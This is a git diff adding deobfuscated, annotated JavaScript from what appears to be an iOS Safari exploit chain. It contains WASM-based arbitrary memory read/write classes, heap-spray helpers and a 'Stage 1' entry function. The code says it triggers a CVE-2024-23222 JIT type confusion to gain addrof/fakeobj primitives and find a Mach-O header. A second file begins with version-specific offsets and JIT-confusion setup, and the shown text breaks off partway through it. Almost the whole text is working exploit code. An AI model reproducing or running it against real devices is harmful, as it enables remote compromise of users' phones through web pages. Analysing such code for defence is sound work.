BigInt address t. Original: Hi */ + write64(t, e) {return this.writeAndWrite(t, e);} + + /** + * addrof primitive: place object t into the os array at index 0, + * then read the object's address from WASM-corrupted memory. + * Original: tA + */ + getObjectAddress(t) { + this.os[0] = t; + const e = this.read64(this.Us + 0x8n), + r = this.read64(e); + return this.os[0] = null, r; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// WasmPrimitive16 — 16-byte WASM-based read/write primitive (iOS < 16.04) +// ════════════════════════════════════════════════════════════════════════════ + +/** + * WASM-based memory read/write primitive using a smaller 16-byte WASM module. + * Used on iOS < 16.4 where the WASM instance layout is more compact. + * + * Structurally identical to WasmPrimitive64 (J) with two key differences: + * 1. The WASM binary is smaller (fewer globals/data, 16-byte segments) + * 2. JIT warmup uses 22 iterations instead of 1 + * 3. Has additional allocControlledBuffer() method for controlled ArrayBuffer allocation + * 4. Has copyMemory32() method for 32-bit aligned memory copy + */ +class $ /* WasmPrimitive16 */ { + + /** Get Int64 address of a JS object (addrof). Original: tr */ + addrof(t) {return utilityModule.K(this.getObjectAddress(t));} + + /** Read a string from an Int64 address. Original: Tr */ + readStringFromInt64(t, e = 256) { + const r = utilityModule.O(t.yt()); + return this.readString(r, e); + } + + /** Read an Int64 value from a numeric byte offset. Original: rr */ + readInt64FromOffset(t) { + const e = this.read32(utilityModule.O(t)), + r = this.read32(utilityModule.O(t + 4)); + return new utilityModule.Int64(e, r); + } + + /** Read a 32-bit value from an Int64 address. Original: ir */ + read32FromInt64(t) {return this.read32(utilityModule.O(t.yt()));} + + /** Read an Int64 value from an Int64 address. Original: Ur */ + readInt64FromInt64(t) {return this.readInt64FromOffset(t.yt());} + + /** Write an Int64 value to a numeric offset. Original: Jr */ + writeInt64ToOffset(t, e) { + const r = utilityModule.O(t), + n = e.Nt(); + this.write64(r, n); + } + + /** Read a double (reinterpreted as pointer) from a numeric offset. Original: Dr */ + readDoubleAsPointer(t, e = !1) { + const r = this.read32(utilityModule.O(t)); + let n = this.read32(utilityModule.O(t + 4)); + return (!0 === e || platformModule.platformState.versionFlags.zohDDd) && (n &= o), utilityModule.T(r, n); + } + + /** Read the raw BigInt at an Int64's byte offset. Original: nr */ + readRawBigInt(t) {return this.readInt64FromOffset(t).yt();} + + /** Busy-wait spin loop (768 iterations). Original: hr */ + busyWait(t, e = 768) {for (let t = 0; t < e; t += 8);} + + /** Copy a BigInt between two numeric offsets. Original: ti */ + copyBigInt(t, e) {this.write64(utilityModule.O(t), utilityModule.O(e));} + + /** Get the buffer address (fakeobj). Original: Mr */ + fakeobj(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return utilityModule.K(S(this.read64(e + j(platformModule.platformState.versionFlags.iWQGB1)))); + } + + /** Execute callback with temporary pointer overrides. Original: Br */ + withTempOverrides(t, ...e) { + const r = new Array(e.length + 10); + for (let t = 0; t < e.length; t++) r[t] = this.readInt64FromOffset(e[t].Ir); + try { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, e[t].Zt); + t(); + } finally { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, r[t]); + } + } + + constructor() { + /** + * Smaller WASM module (16-byte layout) for older iOS versions. + * Same structure as J's module but with fewer globals and data segments: + * - 3 globals instead of 8 + * - No large padding data segments + * - Export names: "memory", "btl" (read), "alt" (write) + */ + const t = new Uint8Array([ + 0, 97, 115 /* "s" */, 109 /* "m" */, 1, 0, 0, 0, // \0asm v1 + 1, 9, 2, 96, 0, 1, 126 /* i64 */, 96, 1, 126 /* i64 */, 0, + 3, 3, 2, 0, 1, + 4, 4, 1, 111 /* funcref */, 0, 1, + 5, 3, 1, 0, 1, + 6, 16, 3, // 3 globals + 126 /* i64.const */, 1, 66, 0, 11, + 126 /* i64.const */, 1, 66, 0, 11, + 126 /* i64.const */, 1, 66, 0, 11, + 7, 22, 3, 6, + 109, 101, 109, 111, 114, 121, // "memory" + 2, 0, 3, + 98, 116, 108, // "btl" (read export) + 0, 0, 3, + 97, 108, 116, // "alt" (write export) + 0, 1, + 10, 13, 2, 4, 0, 35, 0, 11, // btl: global.get 0; end + 6, 0, 32, 0, 36, 0, 11 // alt: local.get 0; global.set 0; end + ]), + e = (t) => t.exports.btl(), + r = (t, e) => {t.exports.alt(e);}; + + this.ts = []; + + const n = new WebAssembly.Module(t, {}); + this.es = new WebAssembly.Instance(n, {}); + this.es[0] = 3; + this.rs = e.bind(null, this.es); + this.ns = r.bind(null, this.es); + + this.ss = new WebAssembly.Instance(n, {}); + this.ss[0] = 3; + this.ls = e.bind(null, this.ss); + this.hs = r.bind(null, this.ss); + + this.os = [{}, 1, 8]; + this.os.q23 = 90; + + this.Qi = new ArrayBuffer(16); + this.fs = new Uint32Array(this.Qi); + this.cs = new BigUint64Array(this.Qi); + this.bs = new ArrayBuffer(32); + this.us = new DataView(this.bs); + + this.Oi = new C(); + + // Warm up: 22 iterations (more warmup needed for 16-byte variant) + const i = 0n; + for (let t = 0; t < 22; t++) this.rs(), this.ls(), this.ns(i), this.hs(i); + } + + /** Store five converted BigInt addresses. Original: gs */ + storeExploitState(t, e, r, n, i) { + this.ws = this.Oi.Bn(t); + this.Ws = this.Oi.Bn(e); + this.ys = this.Oi.Bn(r); + this.js = this.Oi.Bn(n); + this.Us = this.Oi.Bn(i); + } + + cleanup() {} + writeToInstanceA(t) {this.ns(t);} + writeAndRead(t) {return this.writeToInstanceA(t), this.ls();} + writeAndWrite(t, e) {return this.writeToInstanceA(t), this.hs(e);} + read64(t) {return this.cs[0] = this.writeAndRead(t), this.cs[0];} + + /** Get backing store address. Original: Ts */ + getBackingStore(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + t instanceof DataView && (t = new Uint8Array(t.buffer)); + const e = this.getObjectAddress(t); + return S(this.read64(e + BigInt(platformModule.platformState.versionFlags.oGn3OG))); + } + + /** Get JIT code pointer for a Function. Original: ps */ + getJITCodePointer(t) { + if (!(t instanceof Function)) throw new Error("!(t instanceof Function)"); + const e = this.getObjectAddress(t); + return this.read64(e + BigInt(platformModule.platformState.versionFlags.KaU4Z7)); + } + + /** Write a 32-bit value at address. Original: dr */ + write32(t, e) { + if ("bigint" != typeof t) return this.write32(utilityModule.O(t), e); + { + const r = this.read64(t); + this.cs[0] = r; + this.fs[0] = e; + const n = this.cs[0]; + this.writeAndWrite(t, n); + } + } + + /** Allocate null-terminated C string. Original: ks */ + allocCString(t) { + const e = new Uint8Array(new ArrayBuffer(t.length + 1)); + for (let r = 0; r < t.length; r++) e[r] = t.charCodeAt(r); + return [e, this.getDataPointer(e)]; + } + + /** Allocate zeroed buffer, return address. Original: Ms */ + allocZeroBuffer(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), r; + } + + /** + * Allocate an ArrayBuffer with controlled JSC metadata. + * If `e` is true, additionally patches the ArrayBuffer's structure pointer + * and adjusts the capacity field by +32 bytes (CN3rr_, EMDU4o offsets). + * This is used to create fake ArrayBuffers with expanded bounds. + * Original: Or + */ + allocControlledBuffer(t, e = !1) { + let r = new ArrayBuffer(t), + n = new Uint8Array(r); + utilityModule.D(r); // Push to GC roots + let i = this.addrof(n), + s = this.readDoubleAsPointer(i + platformModule.platformState.versionFlags.oGn3OG); + if (!0 === e) { + let t = this.addrof(r), + e = this.readDoubleAsPointer(t + platformModule.platformState.versionFlags.CN3rr_), + n = this.read32(e + platformModule.platformState.versionFlags.EMDU4o); + n += 32; + this.write32(e + platformModule.platformState.versionFlags.EMDU4o, n); + } + return s; + } + + /** Allocate zeroed buffer, return [Uint8Array, address]. Original: Is */ + allocZeroBufferPair(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), [e, r]; + } + + /** Get data pointer of typed array buffer. Original: Ss */ + getDataPointer(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return S(this.read64(e + 0x10n)); + } + + /** + * Copy memory in 32-bit aligned chunks from source to dest. + * Original: gr + */ + copyMemory32(t, e, r) { + if (r % 4 != 0) throw new Error("r % 4 != 0"); + for (let n = 0; n < r; n += 4) + this.write32(t.Nt() + BigInt(n), this.read32(e.Nt() + BigInt(n))); + } + + /** Patch a single byte at address. Original: Ps */ + patchByte(t, e) { + this.us.setBigUint64(0, this.read64(t), !0); + this.us.setUint8(0, e, !0); + this.write64(t, this.us.getBigUint64(0, !0)); + } + + /** Read a null-terminated ASCII string from address. Original: Er */ + readString(t, e = 768) { + let r = t; + "number" == typeof t && (r = utilityModule.O(t)); + let n = ""; + for (let t = 0; t < e; t++) { + const e = this.readByte(r + BigInt(t)); + if (0 === e) break; + n += String.fromCharCode(e); + } + return n; + } + + /** Read single byte. Original: Sr */ + readByte(t) {return 255 & this.read32(t);} + + /** Read 32-bit value. Original: br */ + read32(t) { + return "bigint" == typeof t ? ( + this.cs[0] = this.writeAndRead(t), this.fs[0]) : + this.read32(utilityModule.O(t)); + } + + /** Write 64-bit value. Original: Hi */ + write64(t, e) {return this.writeAndWrite(t, e);} + + /** addrof primitive. Original: tA */ + getObjectAddress(t) { + this.os[0] = t; + const e = this.read64(this.Us + 0x8n), + r = this.read64(e); + return this.os[0] = null, r; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Heap preparation helpers +// ════════════════════════════════════════════════════════════════════════════ + +/** + * Spray the heap with 240 ArrayBuffers of 4MB each (960MB total). + * This creates a predictable heap layout to ensure the type confusion + * lands on controlled memory. + * Original: V → allocateBuffers + */ +function V /* allocateBuffers */() { + for (let t = 0; t < 240; t++) new ArrayBuffer(4194304 /* 4MB */); +} + +/** + * Force JIT compilation and GC pressure by allocating a 10M element Uint32Array. + * The eval() prevents the compiler from optimizing away the allocation. + * Original: H → triggerJIT + */ +function H /* triggerJIT */() { + eval("new Uint32Array(10000000);"); +} + +// ════════════════════════════════════════════════════════════════════════════ +// Main exploit function — CVE-2024-23222 type confusion +// ════════════════════════════════════════════════════════════════════════════ + +/** + * Main exploit entry point. Triggers the CVE-2024-23222 type confusion + * to achieve arbitrary read/write through WASM memory corruption. + * + * Flow: + * 1. Heap spray (7000 JSON objects + 240 × 4MB ArrayBuffers) + * 2. Select WasmPrimitive64 (iOS >= 16.4) or WasmPrimitive16 (older) + * 3. Create megamorphic dispatch function (7200 × "x += 1" dead code) + * 4. Build JIT-compiled read/write/length primitives via speculation + * 5. Trigger type confusion: double array ←→ object array + * 6. Walk memory backwards (page-aligned) to find Mach-O header (0xFEEDFACF) + * 7. Return the initialized WASM primitive with full r/w capability + * + * Original: L → exploitMain + * Exported as: r.si + */ +async function L /* exploitMain */(t) { + window.log(`[STAGE1] === Stage 1: WASM Primitives starting ===`); + const e = new Float64Array(10), + r = new Int32Array(e.buffer), + n = new Array(3000); + + // Heap spray: create 7000 JSON objects to fill JSC nursery + window.log(`[STAGE1] Heap spray: allocating 7000 JSON objects...`); + for (let t = 0; t < 7000; t++) + n[t] = JSON.parse("{\"a" + t + "\": " + t + "}"); + + window.log(`[STAGE1] Triggering JIT compilation + GC pressure...`); + H(); // JIT/GC pressure + window.log(`[STAGE1] Heap spray: 240 × 4MB ArrayBuffers...`); + V(); // Heap spray with large ArrayBuffers + + // Exploit state object — sealed to prevent JIT deoptimization + const i = { + j: { g: eval("(() => {return -NaN})()") }, // NaN-boxing sentinel + A: !1, // success flag + M: e, // Float64Array for type punning + xs: r, // Int32Array view of same buffer + Fs: platformModule.platformState.iOSVersion >= 160400 ? new J() : new $(), // WASM primitive (version-dependent) + Cs: { // Collected exploit state addresses + vs: null, // dyld image header A + Ds: null, // dyld image list (pre-16.4) + Os: null, // dyld image list entry (pre-16.4) + Ns: null, // dyld image list entry (16.4+) + Js: null, // dyld callback pointer (16.4+) + $s: null, // JSC vtable pointer + Vs: null // auxiliary object reference + }, + t: [[], [], [], []], // WASM instance references for type confusion + l: [1.1, 2.2, 3.1], // Double array (will be type-confused with object array) + i: [.23, 2.2, 3.4], // Alternate double array + k: null, // version-specific exploit callback + o: null, // auxiliary object + m: null, // inlined function reference + u: null, // megamorphic dispatch function + Es: null, // JIT speculation function + h: null, // pointer setup function + nr: null, // raw read primitive (as double) + mi: null, // length read primitive + Gs: null, // raw write primitive + Hs: new ArrayBuffer(16), + Ls: null, // Uint32Array view of Hs + Rs: null, // Float64Array view of Hs + Ks: 5242880 // 0x500000 — initial offset guess + }; + Object.seal(i); + + // Build a very large function body to force megamorphic JIT compilation. + // The dead code (never executed) bloats the function to prevent inlining, + // which is necessary for the type confusion to work. + const s = "x += 1; x += 1; x += 1; x += 1; x += 1; x += 1; x += 1;"; + let a = ""; + for (let t = 0; t < 7200; t++) a += s; + + /** + * Megamorphic dispatch wrapper — calls func(arg0..arg4) through a large + * function that the JIT must compile in a specific way. + */ + const l = new Function( + "func", "arg0", "arg1", "arg2", "arg3", "arg4", + "\n if(false) {\n let x = 0;\n " + a + + "\n }\n\n return func(arg0, arg1, arg2, arg3, arg4);\n " + ); + + window.log(`[STAGE1] Built megamorphic dispatch function (7200 dead-code iterations)`); + i.u = l; + i.Ls = new Uint32Array(i.Hs); + i.Rs = new Float64Array(i.Hs); + i.l.dw34 = 12; // Named property to change butterfly storage + i.i.x534 = 94; + i.t[0] = i.Fs.es; // WASM instance A + i.t[1] = i.Fs.ss; // WASM instance B + i.t[2] = i.l; // Double array (confusion target) + i.t[3] = i.Fs.os; // addrof helper array + + const h = { a: 1, b: 2, c: 3, d: 4 }; + i.o = h; + const o = Symbol(); + let f = [0]; + + try { + /** + * The exploit IIFE — triggers type confusion and builds primitives. + * + * The exploit works by: + * 1. JIT-compiling several primitive functions (read as double, write as double, etc.) + * 2. These functions use the megamorphic wrapper to force specific JIT behavior + * 3. After sufficient warmup, the JIT makes incorrect type assumptions + * 4. A property getter (n.zs/n.qs) triggers the confusion during Array construction + * 5. This confuses a double array with an object array + * 6. Once confused: doubles can be read as object pointers (addrof) + * and object pointers can be written as doubles (fakeobj) + */ + platformModule.platformState.exploitPrimitive = (() => { + // Version-specific exploit callback — reads JSC internal structures + // to find vtable pointers, dyld image lists, and callback addresses. + i.k = platformModule.platformState.iOSVersion >= 160400 ? + // iOS >= 16.4 path: additional vtable entries at TryHSU + cyTrSt offsets + function (t, e, r, n) { + const i = t.u(t.nr, t, e, n + 8), + s = t.u(t.nr, t, e, i), + a = t.u(t.nr, t, e, i + 8), + l = t.u(t.nr, t, e, i + 16), + h = t.u(t.nr, t, e, i + 24), + o = t.u(t.nr, t, e, l + 8), + f = t.u(t.mi, t, e, l); + t.Ks = f; + const c = t.u(t.nr, t, e, s + platformModule.platformState.versionFlags.TryHSU), + b = c + platformModule.platformState.versionFlags.cyTrSt, + u = t.u(t.nr, t, e, a + platformModule.platformState.versionFlags.TryHSU), + g = u + platformModule.platformState.versionFlags.cyTrSt, + w = t.u(t.nr, t, e, b), + d = t.u(t.nr, t, e, g); + // Zero out the vtable entries, then store confusing pointer + t.u(t.Gs, t, e, u + platformModule.platformState.versionFlags.ZHsObe, -0); + t.u(t.Gs, t, e, c + platformModule.platformState.versionFlags.ZHsObe, -0); + t.u(t.Gs, t, e, b, 5e-324 * g); + // Warmup: force JIT to lock in type assumptions + for (let e = 0; e < 30; e++) t.u(t.nr, t, [1.1], o); + for (let e = 0; e < 30; e++) t.u(t.Gs, t, [1.1], o, n + 8); + for (let e = 0; e < 30; e++) t.u(t.mi, t, [1.1], o, 1.234); + for (let e = 0; e < 30; e++) t.u(t.h, t, o); + // Save collected addresses + t.Cs.$s = c; + t.Cs.Js = w; + t.Cs.vs = u; + t.Cs.Ns = d; + t.Cs.Vs = h; + } : + // iOS < 16.4 path: uses FFwSQ4 offset instead of cyTrSt + (t, e, r, n) => { + const i = t.u(t.nr, t, e, n + 8), + s = t.u(t.nr, t, e, i), + a = t.u(t.nr, t, e, i + 8), + l = t.u(t.nr, t, e, i + 16), + h = t.u(t.nr, t, e, i + 24), + o = t.u(t.nr, t, e, l + 8), + f = t.u(t.mi, t, e, l); + t.Ks = f; + const c = t.u(t.nr, t, e, s + platformModule.platformState.versionFlags.TryHSU), + b = t.u(t.nr, t, e, a + platformModule.platformState.versionFlags.TryHSU), + u = b + platformModule.platformState.versionFlags.FFwSQ4, + g = c + platformModule.platformState.versionFlags.FFwSQ4, + w = t.u(t.nr, t, e, g), + d = t.u(t.nr, t, e, u); + t.u(t.Gs, t, e, g, 5e-324 * u); + t.u(t.nr, t, [1.1], o); + t.u(t.Gs, t, [1.1], o, n + 8); + t.u(t.mi, t, [1.1], o, 1.234); + for (let e = 0; e < 30; e++) t.u(t.nr, t, [1.1], o); + for (let e = 0; e < 30; e++) t.u(t.Gs, t, [1.1], o, n + 8); + for (let e = 0; e < 30; e++) t.u(t.mi, t, [1.1], o, 1.234); + for (let e = 0; e < 30; e++) t.u(t.h, t, o); + t.Cs.$s = c; + t.Cs.Os = w; + t.Cs.vs = b; + t.Cs.Ds = d; + t.Cs.Vs = h; + }; + + /** + * JIT speculation function — builds arrays while exploiting + * speculative type assumptions. The JIT assumes all array elements + * are doubles, but the type confusion makes some be object pointers. + */ + i.Es = new Function("t", "n", "o", "c", + "if(false) {return " + Math.random() + " + " + Math.random() + + "} {const s=t.t;const e=t.o;const r=t.l;const f=t.i;" + + "const l=new Array(o);for(let a=0;a t[3001], // Getter: returns a specific array element + qs() {// Getter: truncates array + triggers JIT + t.length = 0; + i.u(H);i.u(H);i.u(H); + } + }, + s = { length: 1, 0: 12 }; + + function a() { + arguments.length > 2 && + i.u(i.Es, i, arguments[3], arguments[4], arguments[5]); + } + + // Configure the trigger object with property getters that + // fire during array construction — this is how the type confusion + // is triggered at exactly the right moment. + Object.defineProperty(s, "3", { get: n.zs }); + Object.defineProperty(s, "4", { value: 10000 }); + Object.defineProperty(s, "5", { value: !0 }); + Object.defineProperty(s, "8", { get: n.qs }); + + globalThis.inlinedFunction = a; + i.m = a; + + // ── Primitive compilation: pointer setup ────────────────────── + // This function manipulates the Float64/Uint32 views to construct + // double values that encode specific pointer offsets. + const l = (t, e) => { + const r = (e, r) => (t.Ls[0] = e, t.Ls[1] = r, t.Rs[0]); + h.a = r(0, t.Ks - 131072 /* 0x20000 */); + h.b = r(7, (e >>> 0) - 131072); + h.c = r(e / 4294967296 >>> 0, 1048575 /* 0xFFFFF */); + t.M[0] = Math.min(t.j.g, t.j.g); + }; + i.h = l; + + // JIT warmup: 100K iterations each to trigger compilation + window.log(`[STAGE1] JIT warmup: compiling pointer-setup primitive (100K iterations)...`); + for (let t = 0; t < 100000 && (l(i, 1.1), !(i.xs[1] < 0)); t++); + + // ── Primitive: read as integer (via double division) ────────── + const o = (t, e, r) => ( + l(t, r + 8), + t.M[0] = Math.min(t.j.g, t.j.g), + 0 | e.length); + + i.mi = o; + for (let t = 0; t < 100000 && (i.u(o, i, i.i, 1.1), !(i.xs[1] < 0)); t++); + + // ── Primitive: write double to array ───────────────────────── + const f = (t, e, r, n) => { + t.u(l, t, r); + e[0] = n; + t.M[0] = Math.min(t.j.g, t.j.g); + }; + i.Gs = f; + for (let t = 0; t < 100000 && (i.u(f, i, i.i, 1.1, 1.1), !(i.xs[1] < 0)); t++); + + // ── Primitive: read double from array ──────────────────────── + const c = (t, e, r) => { + t.u(l, t, r); + const n = e[0]; + return t.M[0] = Math.min(t.j.g, t.j.g), n / 5e-324; + }; + i.nr = c; + for (let t = 0; t < 100000 && (i.u(c, i, i.i, 1.1), !(i.xs[1] < 0)); t++); + + // ── Trigger function wrapper ───────────────────────────────── + const b = new Function("n", "l", + "if(false) {return " + Math.random() + " + " + Math.random() + + "} {n.m.apply(null,l);n.M[0]=Math.min(n.j.g,n.j.g)}"); + + const g = [], + w = [.1, .1, .1, -2.7130486595895504e-98, -2.7130486595895504e-98], + d = [1.1, 2.2, 3.3, -2.7130486595895504e-98, -2.7130486595895504e-98], + y = [1.1, 1.1, 1.1, -2.7130486595895504e-98, -2.7130486595895504e-98]; + + // Warmup the speculation function: 100K iterations with alternating data + window.log(`[STAGE1] JIT warmup: speculation function (100K iterations)...`); + for (let t = 0; t < 100000 && ( + g.push(i.u(i.Es, i, w, 4, t % 2 != 0)), + !(r[1] < 0)); + t++) { + const e = t % 2 == 0 ? y : d; + for (let t = 0; t < e.length; t++) w[t] = e[t]; + } + + // Warmup the trigger wrapper: 1M iterations + window.log(`[STAGE1] JIT warmup: trigger wrapper (1M iterations)...`); + for (let t = 0; t < 1000000 && (i.u(b, i, s, 4), !(i.xs[1] < 0)); t++); + + // ── THE TYPE CONFUSION TRIGGER ──────────────────────────────── + // Resize the trigger object and fire b(i, s) — the property getters + // on `s` execute during Array.from/spread, causing the JIT to + // confuse a double array with an object array. + window.log(`[STAGE1] >>> TRIGGERING TYPE CONFUSION <<<`); + s.length = 9; + i.A = !1; + i.u(b, i, s); + if (!i.A) {throw new Error("!i.A: Type confusion did not trigger");} + window.log(`[STAGE1] Type confusion SUCCESS — addrof/fakeobj primitives active`); + + // ── Post-exploitation setup ────────────────────────────────── + window.log(`[STAGE1] Storing exploit state addresses...`); + let A = null; + platformModule.platformState.iOSVersion >= 160400 ? ( + i.Fs.storeExploitState(i.Cs.vs, i.Cs.Ns, i.Cs.$s, i.Cs.Js, i.Cs.Vs), A = i.Fs) : ( + i.Fs.storeExploitState(i.Cs.vs, i.Cs.Ds, i.Cs.$s, i.Cs.Os, i.Cs.Vs), A = i.Fs); + + // Walk backwards from the WebAssembly.Table JIT code pointer + // to find the Mach-O header (magic: 0xFEEDFACF = 4277009103) + let U = A.getJITCodePointer(WebAssembly.Table); + window.log(`[STAGE1] JIT code pointer: 0x${U.toString(16)}`); + U &= u; // Strip pointer tag + let _ = U - U % 0x1000n; // Page-align + if (0n === _) throw new Error("0n === _"); + window.log(`[STAGE1] Scanning for Mach-O header (0xFEEDFACF) from 0x${_.toString(16)}...`); + for (;;) { + if (0xFEEDFACF /* 0xFEEDFACF — MH_MAGIC_64 */ === A.read32(_)) break; + _ -= BigInt(4096); // Walk back one page + } + window.log(`[STAGE1] Found Mach-O header at 0x${_.toString(16)}`); + window.log(`[STAGE1] === Stage 1 complete ===`); + return A; + })(); + } catch (t) { + throw platformModule.platformState.exploitPrimitive = void 0, t; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Module export +// ════════════════════════════════════════════════════════════════════════════ + +/** Export: r.si = exploitMain (async entry point for Stage 1) */ +return r.si = L, r; \ No newline at end of file diff --git a/Stage1_16.6_17.2.1_cassowary.js b/Stage1_16.6_17.2.1_cassowary.js new file mode 100644 index 0000000..d19ad3a --- /dev/null +++ b/Stage1_16.6_17.2.1_cassowary.js @@ -0,0 +1,1449 @@ +let r = {}; +"use strict"; +const { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K +} = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +const P = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"); +const x = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +async function q(t, e) { + const n = 0; + const r = 1; + const i = 2; + const s = 3; + const o = (t) => {}; + let l = 170100; + if (navigator.constructor.name === "Navigator") { + o(""); + l = e; + } + const c = "00"; + const h = "01"; + const u = "02"; + const a = "03"; + const f = "04"; + const w = "05"; + const p = "06"; + const m = "07"; + const y = "08"; + const b = "09"; + const A = "0a"; + const U = "0b"; + const g = "0c"; + const d = "0d"; + const B = "0e"; + const v = "0f"; + const T = "10"; + const C = "11"; + const F = "12"; + const N = "13"; + const k = "14"; + const I = "15"; + const _ = "16"; + const W = "17"; + const j = "18"; + const R = "19"; + const D = "1a"; + const E = "1b"; + const H = "1c"; + const L = "1d"; + const M = "1e"; + const O = "1f"; + const V = "20"; + const J = "21"; + const G = "22"; + const K = "23"; + const $ = "24"; + const z = "25"; + const Q = "26"; + const X = "27"; + const Y = "28"; + const Z = "29"; + const tt = {}; + tt[c] = 176; + tt[h] = 88; + tt[u] = 96; + tt[a] = 8; + tt[f] = 16; + tt[w] = 16; + tt[p] = 24; + tt[m] = 16; + tt[y] = 24; + tt[b] = 16; + tt[A] = 16; + tt[U] = 16; + tt[g] = 328; + tt[d] = 472; + tt[B] = 512; + tt[v] = 520; + tt[T] = 664; + tt[C] = 8; + tt[F] = 0; + tt[N] = 4; + tt[k] = 12; + tt[I] = 16; + tt[_] = 20; + tt[W] = 3; + tt[j] = 32; + tt[R] = 48; + tt[D] = 16; + tt[E] = 44; + tt[H] = 48; + tt[L] = 56; + tt[M] = 32; + tt[O] = 64; + tt[V] = 112; + tt[J] = 8; + tt[G] = 24; + tt[K] = 768; + tt[$] = 144; + tt[z] = 96; + tt[Q] = 32; + tt[X] = 52232; + tt[Y] = 52240; + tt[Z] = true; + function et() { + if (l >= 170000) { + tt[h] = 96; + tt[u] = 104; + tt[X] = 77464; + tt[Y] = 77472; + } + if (l >= 170100) { + tt[X] = 78488; + tt[Y] = 78496; + } + if (l >= 170200) { + tt[X] = 78528; + tt[Y] = 78536; + } + } + function nt(t) { + return "0x" + t.toString(16); + } + function rt(t) { + return BigInt(t); + } + const it = BigInt(549755813887); + const st = 127; + const ot = BigInt(39); + function lt(t) { + return t & rt(it); + } + const ct = async () => { + const t = new ut(); + const e = true; + const n = false; + const s = true; + const l = 2; + const h = 2; + const m = { + zr: () => {}, + Qs: [] + }; + function y(t, e, n = null) { + U[t / 4] = e; + U[t / 4 + 1] = n !== null ? n : e / b; + } + const b = 4294967296; + let A = new ArrayBuffer(16); + let U = new Uint32Array(A); + let g = new Float64Array(A); + let d = new BigUint64Array(A); + let B = 0; + function x(t, e = null) { + y(B, t, e); + return g[B / 8]; + } + m.Xs = x; + function v(t) { + g[B / 8] = t; + return U[B / 4] + b * U[B / 4 + 1]; + } + function T(t) { + g[B / 8] = t; + return d[B / 8]; + } + function C(t = 10000) { + let e = []; + for (let n = 0; n < t; ++n) e.push(new Uint8Array(10000)); + } + function P() { + for (let t = 0; t < 8; t++) new ArrayBuffer(16777216); + } + async function F(t) { + try { + if (window.testRunner) await print(testRunner.describe(t)); + } catch (t) {} + } + async function N(t, e) { + let n = new ArrayBuffer(e); + let r = new Uint32Array(n); + for (let n = 0; n < e; n += 4) r[n / 4] = m.Ys(t + n); + await dumphex(n); + } + function k(t) { + let e = new ArrayBuffer(t.length); + let n = new Uint8Array(e); + for (let e = 0, r = t.length; e < r; e++) n[e] = t.charCodeAt(e); + return e; + } + async function I(t) { + return new Promise((e, n) => setTimeout(e, t)); + } + function S(t) { + let e = new Uint32Array(t); + let n = m.Zs(m.so(e) + 16); + m.Qs.push(e); + return [e, n]; + } + function _(t) { + let e = new Uint8Array(t); + let n = m.Zs(m.so(e) + 16); + m.Qs.push(e); + return [e, n]; + } + const W = 16777216; + const j = 131072; + const R = 4294967296; + const D = R - 1; + let E = new Float64Array(1); + let H = new Uint32Array(E.buffer); + function L(t) { + E[0] = t; + return H[1] * R + H[0]; + } + let M = new Uint32Array(2); + let O = new Float64Array(M.buffer); + let V = new Uint32Array(2); + let J = new BigUint64Array(V.buffer); + let G = new Float64Array(V.buffer); + function K(t) { + M[1] = t / R; + M[0] = t & D; + return O[0]; + } + pm = { + init: function () { + o(""); + pm.tmput32 = new Uint32Array(2); + pm.tmpFl = new Float64Array(pm.tmput32.buffer); + pm.fc = { + lo: 1, + co: 2 + }; + pm.fa = [1.1, pm.fc]; + let t = [1.1, 1.1]; + t.ho = 1.1; + let e = [1.1, 2.2]; + e.ho = 1.1; + function n() {} + let r = Reflect.construct(Object, [], n); + let i = Reflect.construct(Object, [], n); + r.p1 = t; + r.p2 = t; + i.p1 = 4919; + i.p2 = 4919; + delete i.p2; + delete i.p1; + i.p1 = 4919; + i.p2 = 4919; + let s = { + guard_p1: 1, + p1: [1.1, 2.2] + }; + let l = new Uint32Array(2); + let c = new Float64Array(l.buffer); + let h = function (t, n) { + if (n) return; + let o = r; + if (t) { + o = i; + 0[0]; + } + let h = 0; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; + while (h < 1) { + s.guard_p1 = 1; + h++; + } + h--; 